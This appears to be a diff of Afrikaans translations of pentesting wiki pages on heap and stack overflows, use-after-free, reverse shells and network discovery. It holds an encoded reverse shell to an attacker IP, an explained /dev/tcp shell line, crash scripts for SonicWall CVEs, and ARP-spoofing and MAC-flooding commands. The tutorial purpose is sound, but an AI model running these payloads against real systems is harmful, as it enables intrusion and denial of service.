'n Ander voorbeeld van [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waar 'n **heap overflow** misbruik kan word om die wenner funksie aan te roep om **die vlag te kry**.
|
||||
|
||||
In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) voorbeeld is dit moontlik om te sien hoe om 'n buffer overflow te misbruik, dit is moontlik om **in 'n naby chunk 'n adres te oorskryf** waar **arbitraire data van die gebruiker** geskryf gaan word.
|
||||
|
||||
### Example ARM64
|
||||
### Voorbeeld ARM64
|
||||
|
||||
In die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap overflow voorbeeld vind waar 'n opdrag wat uitgevoer gaan word, in die volgende chunk van die oorgestroomde chunk gestoor word. So, dit is moontlik om die uitgevoerde opdrag te verander deur dit te oorskryf met 'n maklike uitbuiting soos:
|
||||
Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap overflow voorbeeld vind waar 'n opdrag wat uitgevoer gaan word, in die volgende chunk van die oorgestroomde chunk gestoor word. So, dit is moontlik om die uitgevoerde opdrag te verander deur dit te oorskryf met 'n maklike uitbuiting soos:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -43,7 +43,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- Ons gebruik 'n Integer Overflow kwesbaarheid om 'n Heap Overflow te verkry.
|
||||
- Ons korrigeer pointers na 'n funksie binne 'n `struct` van die oorloopde stuk om 'n funksie soos `system` in te stel en kode-uitvoering te verkry.
|
||||
- Ons korrigeer pointers na 'n funksie binne 'n `struct` van die oorgeloopde stuk om 'n funksie soos `system` in te stel en kode-uitvoering te verkry.
|
||||
|
||||
### Werklike Voorbeeld: CVE-2025-40597 – Misbruik van `__sprintf_chk`
|
||||
|
||||
@ -59,7 +59,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
```
|
||||
`__sprintf_chk` is deel van **_FORTIFY_SOURCE**. Wanneer dit 'n **positiewe** `size` parameter ontvang, verifieer dit dat die resulterende string binne die bestemmingsbuffer pas. Deur **`-1` (0xFFFFFFFFFFFFFFFF)** te stuur, het die ontwikkelaars effektief die **grenskontrole gedeaktiveer**, wat die versterkte oproep terug na 'n klassieke, onveilige `sprintf` verander.
|
||||
|
||||
Die verskaffing van 'n te lang **`Host:`** kop laat dus 'n aanvaller toe om **die 0x80-byte stuk oor te vloei en die metadata van die volgende heap stuk te verwoes** (tcache / fast-bin / small-bin, afhangende van die toewysingsmeganisme). 'n Crash kan herproduseer word met:
|
||||
Die verskaffing van 'n te lang **`Host:`** kop laat 'n aanvaller dus toe om **die 0x80-byte stuk oor te vloei en die metadata van die volgende heap stuk te verwoes** (tcache / fast-bin / small-bin, afhangende van die toewysingsmeganisme). 'n Crash kan herproduseer word met:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
@ -69,7 +69,7 @@ headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
Praktiese uitbuiting sou **heap grooming** vereis om 'n beheerde objek reg na die kwesbare stuk te plaas, maar die wortel oorsaak beklemtoon twee belangrike afleidings:
|
||||
Praktiese eksploitatie sal **heap grooming** vereis om 'n beheerde objek reg na die kwesbare stuk te plaas, maar die wortel oorsaak beklemtoon twee belangrike afleidings:
|
||||
|
||||
1. **_FORTIFY_SOURCE is nie 'n silwer koeël nie** – misbruik kan die beskerming nietig maak.
|
||||
2. Gee altyd die **korrekte buffer grootte** aan die `_chk` familie (of, selfs beter, gebruik `snprintf`).
|
||||
|
@ -8,11 +8,11 @@ Wanneer jy geheue in 'n program met glibc vrymaak, word verskillende "bins" gebr
|
||||
|
||||
### Ongesorteerde Bins
|
||||
|
||||
Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin vanaf die agterkant (die "stert") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
|
||||
Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin van die agterkant (die "stert") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
|
||||
|
||||
Voorbeeld:
|
||||
|
||||
- Jy toewys 300 bytes (`a`), dan 250 bytes (`b`), dan maak jy `a` vry en vra weer 250 bytes (`c`).
|
||||
- Jy allokeer 300 bytes (`a`), dan 250 bytes (`b`), dan maak jy `a` vry en vra weer 250 bytes (`c`).
|
||||
- Wanneer jy `a` vrymaak, gaan dit na die ongesorteerde bin.
|
||||
- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die stert en split dit, terwyl die deel wat by jou versoek pas, teruggegee word en die res in die bin bly.
|
||||
- `c` sal na die vorige `a` wys en met die inhoud van `a` gevul wees.
|
||||
@ -46,7 +46,7 @@ d = malloc(20); // a
|
||||
|
||||
Sedert glibc 2.26 hou elke draad sy eie **tcache** wat *voor* die ongesorteerde bin gevra word. Daarom sal 'n eerste-pas scenario **slegs bereik word as**:
|
||||
|
||||
1. Die aangevraagde grootte is **groter as `tcache_max`** (0x420 op 64-bit standaard), *of*
|
||||
1. Die aangevraagde grootte is **groter as `tcache_max`** (0x420 op 64-bit per standaard), *of*
|
||||
2. Die ooreenstemmende tcache bin is **reeds vol of handmatig leeggemaak** (deur 7 elemente toe te ken en hulle in gebruik te hou).
|
||||
|
||||
In werklike ontploffings sal jy gewoonlik 'n helper routine byvoeg soos:
|
||||
@ -105,9 +105,9 @@ Exploitation resep (algemeen in onlangse CTFs):
|
||||
---
|
||||
### 🛡️ Mitigaties & Versterking
|
||||
|
||||
* **Veilige-koppeling (glibc ≥ 2.32)** beskerm slegs die enkel-gelinkte *tcache*/**fastbin** lyste. Die ongesorteerde/klein/groot bins stoor steeds rou wysers, so eerste-pas gebaseerde oorvleuelings bly lewensvatbaar as jy 'n heap leak kan verkry.
|
||||
* **Veilige-koppeling (glibc ≥ 2.32)** beskerm slegs die enkel-gelinkte *tcache*/**fastbin** lyste. Die ongesorteerde/klein/groot bins stoor steeds rou wysers, so eerste-pas gebaseerde oorvleulings bly lewensvatbaar as jy 'n heap leak kan verkry.
|
||||
* **Heap wysers enkripsie & MTE** (ARM64) beïnvloed nog nie x86-64 glibc nie, maar distro versterkingsvlagte soos `GLIBC_TUNABLES=glibc.malloc.check=3` sal op inkonsistente metadata afbreek en kan naïewe PoCs breek.
|
||||
* **Vul tcache op vry** (voorstel in 2024 vir glibc 2.41) sal verdere vermindering van ongesorteerde gebruik meebring; monitor toekomstige vrystellings wanneer jy generiese exploits ontwikkel.
|
||||
* **Vul tcache op vry** (voorstel in 2024 vir glibc 2.41) sal verdere vermindering van ongesorteerde gebruik bied; monitor toekomstige vrystellings wanneer jy generiese exploits ontwikkel.
|
||||
|
||||
---
|
||||
## Ander Verwysings & Voorbeelde
|
||||
@ -116,7 +116,7 @@ Exploitation resep (algemeen in onlangse CTFs):
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Gebruik na vry: Genereer 'n gebruikersobjek, vry dit, genereer 'n objek wat die vrygestelde stuk verkry en toelaat om daarin te skryf, **oorwrite die posisie van user->password** van die vorige een. Hergebruik die gebruiker om **die wagwoordkontrole te omseil**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n wys na 'n funksie wat geroep kan word) en 'n wys na 'n ander malloc(<grootte>) met die inhoud van die nota.
|
||||
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n wys na 'n funksie wat geroep kan word) en 'n wys na 'n ander malloc(<size>) met die inhoud van die nota.
|
||||
- Die aanval sou wees om 2 notas (nota0 en nota1) te skep met groter malloc-inhoud as die nota-inligting grootte en dan hulle vry te stel sodat hulle in die vinnige bin (of tcache) beland.
|
||||
- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiewys kan verander om na die wen funksie te wys en dan Gebruik-Na-Vry die nota1 om die nuwe funksiewys aan te roep.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Wat is 'n Stack Overflow
|
||||
|
||||
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stap skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
|
||||
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
|
||||
|
||||
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stap gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringsvloei van die program te beheer**.
|
||||
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringsvloei van die program te beheer**.
|
||||
|
||||
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stap kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stap oorskryf.
|
||||
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en dus in staat is om ander dele van die stapel te oorskryf.
|
||||
|
||||
Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegeken.
|
||||
|
||||
@ -27,7 +27,7 @@ Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van
|
||||
|
||||
Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die verskuiwing moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sikliese sekwensie is waarin elke moontlike subreeks van lengte _n_ presies een keer verskyn** as 'n aaneengeskakelde subreeks.
|
||||
|
||||
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes te vind wat dit oorgeskryf het.
|
||||
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes wat dit oorgeskryf het, te vind.
|
||||
|
||||
Dit is moontlik om **pwntools** hiervoor te gebruik:
|
||||
```python
|
||||
@ -57,7 +57,7 @@ E however, in ander scenario's mag dit net **om te skryf van sommige veranderlik
|
||||
|
||||
### Ret2win
|
||||
|
||||
In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres oor te skryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
|
||||
In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres te oorskryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -97,7 +97,7 @@ Daar is verskeie beskermings wat probeer om die uitbuiting van kwesbaarhede te v
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
'n Goeie demonstrasie van waarom **`sscanf` nooit vertrou moet word vir die ontleding van onbetroubare invoer** het in 2025 in SonicWall se SMA100 SSL-VPN toestel verskyn. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer om die weergawe en eindpunt uit enige URI wat met `/__api__/` begin, te onttrek:
|
||||
'n Goeie demonstrasie van waarom **`sscanf` nooit vertrou moet word vir die ontleding van onbetroubare invoer** het in 2025 in SonicWall se SMA100 SSL-VPN toestel verskyn. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer om die weergawe en eindpunt uit enige URI wat met `/__api__/` begin te onttrek:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -115,9 +115,9 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Alhoewel stapelkanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met bykomende inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig:
|
||||
Alhoewel stapel kanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met bykomende inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig:
|
||||
|
||||
* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`).
|
||||
* Verskaf altyd 'n **maksimum veld breedte** (bv. `%511s`).
|
||||
* Verkies veiliger alternatiewe soos `snprintf`/`strncpy_s`.
|
||||
|
||||
## References
|
||||
|
@ -35,8 +35,8 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||
#### Shell verduideliking
|
||||
|
||||
1. **`bash -i`**: Hierdie deel van die opdrag begin 'n interaktiewe (`-i`) Bash-skal.
|
||||
2. **`>&`**: Hierdie deel van die opdrag is 'n kortnotasie vir **die herleiding van beide standaarduitset** (`stdout`) en **standaardfout** (`stderr`) na die **dieselfde bestemming**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Dit is 'n spesiale lêer wat **'n TCP-verbinding na die gespesifiseerde IP-adres en poort verteenwoordig**.
|
||||
2. **`>&`**: Hierdie deel van die opdrag is 'n afgekorte notasie vir **om beide standaarduitset** (`stdout`) en **standaardfout** (`stderr`) na die **dieselfde bestemming** te herlei.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Dit is 'n spesiale lêer wat **'n TCP-verbinding na die gespesifiseerde IP-adres en poort** verteenwoordig.
|
||||
- Deur **die uitset en foutstrome na hierdie lêer te herlei**, stuur die opdrag effektief die uitset van die interaktiewe skalsessie na die aanvaller se masjien.
|
||||
4. **`0>&1`**: Hierdie deel van die opdrag **herlei standaardinvoer (`stdin`) na die dieselfde bestemming as standaarduitset (`stdout`)**.
|
||||
|
||||
@ -51,7 +51,7 @@ Wanneer jy met 'n **Remote Code Execution (RCE)** kwesbaarheid in 'n Linux-gebas
|
||||
|
||||
'n Aanbevole hulpmiddel vir hierdie doel is [toboggan](https://github.com/n3rada/toboggan.git), wat interaksie met die teikenomgewing vereenvoudig.
|
||||
|
||||
Om toboggan effektief te gebruik, skep 'n Python-module wat op die RCE-konteks van jou teikenstelsel aangepas is. Byvoorbeeld, 'n module genaamd `nix.py` kan as volg gestruktureer word:
|
||||
Om toboggan effektief te gebruik, skep 'n Python-module wat op die RCE-konteks van jou teikenstelsel afgestem is. Byvoorbeeld, 'n module genaamd `nix.py` kan as volg gestruktureer word:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
@ -79,9 +79,9 @@ En dan kan jy uitvoer:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
Om 'n interaktiewe skulp direk te benut. Jy kan `-b` byvoeg vir Burpsuite integrasie en die `-i` verwyder vir 'n meer basiese rce-wrapper.
|
||||
Om 'n interaktiewe skulp direk te benut. Jy kan `-b` vir Burpsuite integrasie byvoeg en die `-i` verwyder vir 'n meer basiese rce-wrapper.
|
||||
|
||||
'n Ander moontlikheid is om die `IppSec` voorwaartse skulp implementering te gebruik [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
'n Ander moontlikheid is om die `IppSec` vorentoe skulp implementering te gebruik [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Jy moet net die volgende aanpas:
|
||||
|
||||
|
@ -31,7 +31,7 @@ U kan ook hierdie stap met `nmap` uitvoer, maar dit is stadiger en `nmap` het pr
|
||||
|
||||
### HTTP Poort Ontdekking
|
||||
|
||||
Dit is net 'n TCP poort ontdekking wat nuttig is wanneer u wil **fokus op die ontdekking van HTTP** **dienste**:
|
||||
Dit is net 'n TCP poort ontdekking wat nuttig is wanneer jy wil **fokus op die ontdekking van HTTP** **dienste**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Die nmap lyn wat voorheen voorgestel is, sal die **top 1000 UDP poorte** in elke gasheer binne die **/24** reeks toets, maar selfs dit sal **>20min** neem. As jy **vinniger resultate** benodig, kan jy [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) gebruik: `./udp-proto-scanner.pl 199.66.11.53/24` Dit sal hierdie **UDP probes** na hul **verwachte poort** stuur (vir 'n /24 reeks sal dit net 1 min neem): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Die nmap lyn wat voorheen voorgestel is, sal die **top 1000 UDP poorte** in elke gasheer binne die **/24** reeks toets, maar selfs dit sal **>20min** neem. As jy **vinniger resultate** nodig het, kan jy [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) gebruik: `./udp-proto-scanner.pl 199.66.11.53/24` Dit sal hierdie **UDP probes** na hul **verwachte poort** stuur (vir 'n /24 reeks sal dit net 1 min neem): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Poort Ontdekking
|
||||
```bash
|
||||
@ -58,13 +58,13 @@ Hier kan jy 'n lekker gids vind van al die bekende Wifi-aanvalle ten tyde van di
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Ontdekking van gasheer vanaf binne
|
||||
## Ontdek hosts van binne
|
||||
|
||||
As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen om **ander gasheer te ontdek**. Afhangende van **hoeveel geraas** jy kan/wil maak, kan verskillende aksies uitgevoer word:
|
||||
As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen om **ander hosts te ontdek**. Afhangende van **hoeveel geraas** jy kan/wil maak, kan verskillende aksies uitgevoer word:
|
||||
|
||||
### Passief
|
||||
|
||||
Jy kan hierdie gereedskap gebruik om gasheer passief binne 'n gekonnekteerde netwerk te ontdek:
|
||||
Jy kan hierdie gereedskap gebruik om passief hosts binne 'n gekonnekteerde netwerk te ontdek:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -98,16 +98,16 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Aktiewe ICMP
|
||||
|
||||
Let daarop dat die tegnieke wat in _Ontdekking van gasheer vanaf die buitekant_ ([_**ICMP**_](#icmp)) genoem word, ook **hier toegepas** kan word.\
|
||||
Let daarop dat die tegnieke wat in _Ontdekking van gasheer vanaf die buitekant_ ([_**ICMP**_](#icmp)) genoem word, ook **hier toegepas kan word**.\
|
||||
Maar, aangesien jy in die **selfde netwerk** as die ander gashere is, kan jy **meer dinge** doen:
|
||||
|
||||
- As jy 'n **subnet-broadcast adres** **ping**, moet die ping by **elke gasheer** aankom en hulle kan **aan jou** **antwoordgee**: `ping -b 10.10.5.255`
|
||||
- Deur die **netwerk-broadcast adres** te ping, kan jy selfs gashere binne **ander subnets** vind: `ping -b 255.255.255.255`
|
||||
- As jy 'n **subnet broadcast adres** **ping**, moet die ping by **elke gasheer** aankom en hulle kan **aan jou** **antwoordgee**: `ping -b 10.10.5.255`
|
||||
- Deur die **netwerk broadcast adres** te ping, kan jy selfs gashere binne **ander subnets** vind: `ping -b 255.255.255.255`
|
||||
- Gebruik die `-PE`, `-PP`, `-PM` vlae van `nmap` om gasheerontdekking uit te voer deur onderskeidelik **ICMPv4 echo**, **tydstempel**, en **subnetmasker versoeke** te stuur: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan word gebruik om **rekenaars aan te skakel** deur 'n **netwerkboodskap**. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n **MAC Dst** verskaf word en dan word dit **16 keer herhaal** binne dieselfde pakket.\
|
||||
Wake On Lan word gebruik om rekenaars deur 'n **netwerk boodskap** te **aan te skakel**. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n **MAC Dst** verskaf word en dan word dit **16 keer herhaal** binne dieselfde pakket.\
|
||||
Hierdie tipe pakkette word gewoonlik in 'n **ethernet 0x0842** of in 'n **UDP-pakket na poort 9** gestuur.\
|
||||
As **geen \[MAC]** verskaf word nie, word die pakket na **broadcast ethernet** gestuur (en die broadcast MAC sal die een wees wat herhaal word).
|
||||
```bash
|
||||
@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** is ontwerp om saam met **TCP (Transmission Control Protocol)** en **UDP (User Datagram Protocol)** gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke van **Signaling System 7 (SS7)** weerspieël. **SCTP** is 'n kernkomponent van die **SIGTRAN** protokol-familie, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.
|
||||
**SCTP (Stream Control Transmission Protocol)** is ontwerp om saam met **TCP (Transmission Control Protocol)** en **UDP (User Datagram Protocol)** gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke van **Signaling System 7 (SS7)** weerspieël. **SCTP** is 'n kernkomponent van die **SIGTRAN** protokol familie, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.
|
||||
|
||||
Die ondersteuning vir **SCTP** word verskaf deur verskeie bedryfstelsels, soos **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, en **VxWorks**, wat die breë aanvaarding en nut daarvan in die veld van telekommunikasie en netwerke aandui.
|
||||
Die ondersteuning vir **SCTP** word verskaf deur verskeie bedryfstelsels, soos **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, en **VxWorks**, wat die breë aanvaarding en nut daarvan in die veld van telekommunikasie en netwerking aandui.
|
||||
|
||||
Twee verskillende skande vir SCTP word deur nmap aangebied: _-sY_ en _-sZ_
|
||||
```bash
|
||||
@ -180,9 +180,9 @@ ids-evasion.md
|
||||
nmap-summary-esp.md
|
||||
{{#endref}}
|
||||
|
||||
### Ontbloot Interne IP Adresse
|
||||
### Onthulling van Interne IP Adresse
|
||||
|
||||
**Sleggekonfigureerde routers, vuurmure, en netwerktoestelle** reageer soms op netwerkprobes met **nie-openbare bronadresse**. **tcpdump** kan gebruik word om pakkette te identifiseer wat van private adresse ontvang is tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die **eth2 koppelvlak** gevang word, wat vanaf die openbare Internet toeganklik is. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefiltreer sal word.
|
||||
**Sleg geconfigureerde routers, vuurmure, en netwerktoestelle** reageer soms op netwerkprobes met **nie-openbare bronadresse**. **tcpdump** kan gebruik word om pakkette te identifiseer wat ontvang is van private adresse tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die **eth2-koppelvlak** gevang word, wat toeganklik is vanaf die openbare Internet. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefiltreer sal word.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -192,9 +192,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse en gasheername leer deur gevangenis rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.
|
||||
Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse, en gasheernames leer deur gevangenemekte rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.
|
||||
|
||||
As 'n geswitchte Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsendingsrame en materiaal wat bestem is vir jou MAC-adres sien.
|
||||
As 'n geswitchte Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsendrame en materiaal wat bestem is vir jou MAC-adres sien.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM oorgang
|
||||
|
||||
Oorgang van die skakelaar se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakelaar soos 'n hub te werk (wat al die verkeer uitsaai).
|
||||
Oorgang die skakel se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakel soos 'n hub te werk (wat al die verkeer uitsaai).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -258,7 +258,7 @@ In moderne skakels is hierdie kwesbaarheid reggestel.
|
||||
|
||||
